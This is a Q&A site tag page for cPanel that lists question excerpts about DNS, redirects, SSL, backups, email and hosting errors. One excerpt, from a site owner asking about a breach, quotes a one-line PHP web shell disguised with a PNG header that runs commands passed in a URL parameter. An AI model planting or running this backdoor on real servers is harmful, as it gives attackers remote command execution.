Questions tagged [cpanel]
cPanel utilizes a 3 tier structure that provides functionality for administrators, resellers, and end-user website owners to control the various aspects of website and server administration through a standard web browser.
447
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Creating an A record and then a CNAME to point a subdomain to a different server gives an error message
I am trying to point a subdomain to a different server. The A Record changed without issue but the CNAME won't save in cPanel.
I get this error:
Error: sub.domain.com. already has a A record. You may ...
- 415
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0
answers
41
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How do you know which plugin is consuming CPU?
My Wordpress site is going down from time to time, I see in the server log that wp-load is requested a lot, I blocked external requests to this file. But I still get 5xx error once a day, I have a lot ...
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4
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1
answer
148
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Backdoor exploit - could they have downloaded files from server?
Due to a customer running old Wordpress plugins, a php file with the following code was added to their website:
‰PNG
<?php $str = $_GET['cmd']; system($str); ?>
The above file was detected by ...
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1
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136
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Want to point a domain to a host and already changed nameservers, what's next?
To be totally honest this is driving me mad because I know it's probably something simple.
So I have my domain (elogee.com) registered at 1and1.com while my host is GoDaddy. Right, every article I've ...
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2
votes
1
answer
59
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Why does Cloudflare seem to be caching 522 responses for resources?
I have a number of different websites hosted in cpanel and proxied through Cloudflare. The symptoms I'm getting are as follows:
One of my hosted customers will contact me to say something isn't ...
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0
votes
1
answer
379
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How to change the WHM/cPanel account setting for "Use the nameservers specified at the Domain’s Registrar" after a cPanel account is created?
I created a cPanel account through WHM, and I think I forgot to select the option "Use the nameservers specified at the Domain’s Registrar".
How can I change that option to start using ...
- 530
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0
answers
127
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Why does CPanel show I/O faults when the site has low utilization?
I'm on a shared host and according to stats I'm not close to the limits, yet the resource usage stats show I/O faults:
Why are those fault lines there when the usage is well below the red limit?
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2
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0
answers
781
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Running PHP echo $_SERVER ['DOCUMENT_ROOT']; Shows Apache Default Path
Trying to get set up and running on a new hosting company after the old one announced they are discontinuing their service at the end of the year, I am having difficulty getting the sites to run. I ...
- 153
2
votes
1
answer
358
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cPanel incorrectly identifying remote DNS server type
I have installed cPanel on three servers, 1 x hosting server and 2 x DNSOnly servers.
cPanel is using PowerDNS as the default DNS service. I have created a DNS cluster (as one would when installing ...
- 121
2
votes
1
answer
207
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Redirect domain in CPanel without using htaccess so I can delete old domain
I have an old website that is being hosted on Apache/CPanel site. I'm being charged for hosting this site, even though it's being redirected to another site. I'd like to delete the hosting of the ...
- 3,270
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1
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35
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When does CPanel discard last months logs? Is the last day of the month properly processed?
I've got a website on shared hosting under CPanel 86.0.21. Under Metrics/"Raw access", there's a checkbox to enable discarding previous month's logs. How does that work, exactly?
The log ...
- 113
1
vote
1
answer
418
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CPanel Rearrange account can't find home2
I want to move an account using WHM/CPanel from the /home folder to /home2 folder, but the tool does not find the /home2, it says: "The user is already installed on the only usable partition on ...
- 131
2
votes
1
answer
3k
views
Running express server on cPanel
I'm trying to run an express server on cPanel. For this, I'm using the facility of the "Setup Nodejs App" that cPanel provides. But after running my script from cPanel loading doesn't stop and it ...
- 121
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0
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42
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Can I use cPanel's redirect feature to redirect the home page and a deep page to another domain?
I want to redirect my main homepage to redirect (e.g. example.com) to a separate website but also redirect other subpages (e.g. example.com/contact) to a separate website as well. But when I redirect ...
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1
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28
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How to change where the abuse email's get sent? [closed]
I have a domain called example.com which is registered with namecheap.
example.com is hosted on a VPS with the hosting company XYZ (make up company) with WHM and cPanel
Nameservers are being dealt ...
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2
votes
2
answers
2k
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Unable to download large zipped file of cPanel full backup (Chrome download restarts download )
I'm trying to download a full backup in the format of .tar.gz after using the cPanel Backup Wizard to backup my entire Home directory in File Manager. The size of the file is 31.62 GB.
I'm ...
- 121
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vote
1
answer
5k
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why I can't login to cPanel, shows error Maximum Users Exceeded?
When I try to login to cPanel,
it shows an error Maximum Users Exceeded. please see the error message below. I didn't do any changes to server. this appears very suddenly. how can I fix this? I ...
- 13
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0
answers
54
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Difficult problem with emails I send going to recipients' spam after domain+hosting change
I have been having an issue with emails I send for work (all to external domains) being entirely blocked or going to spam, for many different recipients at various companies, ever since I switched my ...
1
vote
2
answers
760
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Wordpress files will not show up in ftp client
I am new to FTP transferring.
I have logged into my FTP account using FileZilla
I was supposed to have access to the files from my WordPress site (according to CPanel), instead, I am just getting a ...
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3
votes
1
answer
78
views
How does cPanel's addon domain work?
So, I am new to the world of cPanel. How does cPanel's addon domain feature work? Does it utilise Apache Web server's VirtualHost feature? Or does it do something else?
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0
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224
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Disabling hotlinking images hinders Facebook from showing images
I disabled hotlinking via CPanel, and added my own website, plus my CDN, www.facebook.com, facebook.com to the exceptions list for both https and http protocols.
However, when I use the Facebook ...
- 3,270
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votes
1
answer
215
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Hosting provider's cPanel expired and we can't upload or download files
My client's hosting provider's cPanel licence has either expired or number of users have exceeded limit. Now although my client has valid login credentials, he is unable to actually access the panel ...
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2
votes
1
answer
21
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How do we make swap the demo page to main landing page?
Hi I currently have a demo page on my cpanel and I would like to make it the main landing page. How do I proceed; for instance to change it from website.com/demo -> website.com
2
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0
answers
3k
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No private key when installing SSL certificates from GoDaddy via cPanel
I am having troubles with installing ssl certificate.
The ssl was created on GoDaddy without using crt created by hosting cpanel. Now I have file in formats of crt, pem, p7b. When I upload the crt ...
2
votes
0
answers
98
views
What commands does WHM/Cpanel run over SSH when you do an rsync backup?
I have an account at rsync.net and am trying to point WHM "rsync" backups to it.
Obviously "rsync.net" has rsync installed, and they also have a small list of common UNIX commands in their ...
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vote
1
answer
39
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Delete Email section for users accounts - Cpanel
I want to disactivate the E-mail section for users profiles in the CPanel,
how can I do that?
I have tried to disable features from the Feature manager but I couldn't delete all the section
UPDATE:
...
- 111
1
vote
0
answers
1k
views
Not allowed to git push to cPanel account
I've seen similar questions on SE, but the solutions haven't worked for me, which I'll get to later.
I have SSH access to my cPanel account and can log in via SSH fine. I made a new repo via cPanel, ...
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2
votes
1
answer
378
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How to stop cPanel messing with .htaccess and causing unexpected redirect
So I have many domains on one cPanel account, say filmstore.net, bookstore.com and sandwiches.org (the main domain).
So I want to redirect anything.sandwiches.org to sandwiches.org, so I have the ...
- 33
1
vote
1
answer
219
views
Separate web hosting and mail server (CPanel)
Currently I am having problems with Email service on the same host as my website, so I want to move whole email server to another linux DigitalOcean server but keep the domain name?
My current ...
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3
votes
1
answer
110
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SEO consequences of CPanel adding separate domain as subdomain?
I've purchased a shared hosting. It has domain1.example as the main domain. Whenever I add another domain to this hosting say domain2.example. The CPanel system does create the record for domain2....
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votes
1
answer
286
views
Website backup file size differs on server vs when downloaded via FTP
When I backup my files using Filezilla, as soon as a file is downloaded, it has different file size with the original file size on the server. I am not sure if it is normal or a kind of virus or ...
- 321
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vote
2
answers
631
views
Running "composer install" from .cpanel.yml
I have a VPS with cPanel installed.
I'm trying to run the "composer install" command from .cpanel.yml but can't get it to work.
Composer is installed on the server and called via /usr/local/bin/...
1
vote
1
answer
148
views
How to map many old URLs to a new host with a redirect under Apache cPanel?
I moved some of the content on my website to an external site. However, a lot of places on the Internet still link to the missing pages, resulting in 404 messages. What is the best method of ...
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1
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353
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cPanel powered site is not accessible via IP address by my reverse proxy (it gives a 404 error)
I'm paying for a hosting service which uses cPanel, and a domain name.
Originally, my domain name pointed straight to the hosting service (as is the default).
A new layer I'm adding is a reverse ...
- 135
1
vote
1
answer
57
views
How to prevent "Links from an external page" Showing links from specific domain?
I use inmotion hosting as my ISP. When I login to my CPANEL and open Awstats, I started seeing recently (about few month ago), the listing under links from external page filling up with all spam sites,...
- 113
0
votes
0
answers
21
views
Cron job error in cPanel
I have a VPS server w/ preinstalled cPanel & WHM.
I was trying to create a crob job but I got an error immediately after I clicked the "Add New Cron Job" button.
Error
/bin/bash: line 2: ...
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3
votes
0
answers
300
views
"Entry Processes" constantly maxed and crashing my sites
I'm so lost right now. I'm signed up with a shared web host, and for the past few days my sites have been fluctuating.
It's a shared host with 35/35 entry processes constantly maxed.
This started ...
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2
votes
1
answer
112
views
Office365 subdomain on Cpanel
My domain is managed by Office365 - I want a sub-domain to point towards another hosting package I pay for so that I can setup a Wordpress site.
I have access to create A and CNAME records, however, ...
2
votes
1
answer
360
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How can I stop a user from deleting emails? - Emails hosted on cPanel
Just wondering how can I stop a user from deleting emails on a mailbox that is being hosted on cPanel?
I have already created another mailbox that will auto-forward incoming emails - but I would like ...
2
votes
1
answer
28
views
cPanel on new host doesn't have cpanel.example.com and webmail.example.com like the old host did
Previously I had a cPanel shared hosting plan where I could login to cPanel admin area using cpanel.example.com and also colud login to my webmail using webmail.example.com. But recently, I have ...
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vote
1
answer
231
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Links from an external page (other web sites except search engines)
While checking metrics in cPanel like visitors, Awstats, and Webalizer, I find tons of Links from an external page (other web sites except search engines).
Questions is, are they links countable in ...
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vote
2
answers
648
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www to non-www 301 redirect doesn't work
I am redirecting 301 in cpanel www to non-www (naked domain) and the code Cpanel redirect generates doesn't do anything when www to non-www is set.
Server Type:
(Litespeed Server, domain has "Let's ...
1
vote
1
answer
46
views
Unusual Web Traffic Submitting Extremely Long URLs
thanks in advance for the help. This isn't my usual job, but our website admin/full stack developer is on leave and my boss has asked me to look into it. Recently we've had a huge spike (talking tens ...
- 35
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2
answers
426
views
How to get document root set to user's public_html under LAMP cPanel?
I just opened a new VPS hosting account, with a hosting company I haven't used before, and I can't get the server to pick up the public_html directory in my user account's home directory. The server ...
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1
vote
1
answer
555
views
update virtual host's SSL cert after cpanel has expired
I had setup the server, virtual hosts via cpanel.
I didnt renew my cpanel subscription because I no longer needed it.
Now my SSL certificate has expired. I have SSH access to the server.
How do I ...
- 121
3
votes
1
answer
1k
views
Automatic deploy with cpanel Git™ Version Control not working
I am trying to automatically deploy code to a shared hosting account, using the Git™ Version Control feature of CPANEL.
I can see from the history of the remote repository, that my code does reach ...
- 131
1
vote
0
answers
23
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cPanel email not working
I have a domain registered with Dynadot, and hosting on GoDaddy. I'm using cloudflare as a CDN and I've added CNAME records for 'mail' and 'email' but emails aren't coming through to the addresses on ...
- 121
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vote
1
answer
1k
views
Some users are redirected to cpanel cgi-sys/defaultwebpage.cgi while other don't
I have a website which used to be hosted on a managed Bluehost plan that includes a cPanel by default. for some non-technical reasons, I've decided to move the website from Bluehost to an unmanaged ...
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0
votes
1
answer
124
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How to fix cPanel after restore a droplet from snapshot?
During the cPanel setup the hostname of the original droplet was set as: srv.domain.com
On DigitalOcean I made a snapshot and created a new droplet from snapshot.
I changed IP address in Basic ...
0
votes
1
answer
53
views
How to redirect resources with A record
How can i show resources from sub.domain2.com on sub.domain1.com.
I tried configuring A record with sub.domain1.com to point sub.domain2.com IP.
I'm using a WHM, but when i type URL: sub.domain1.com ...
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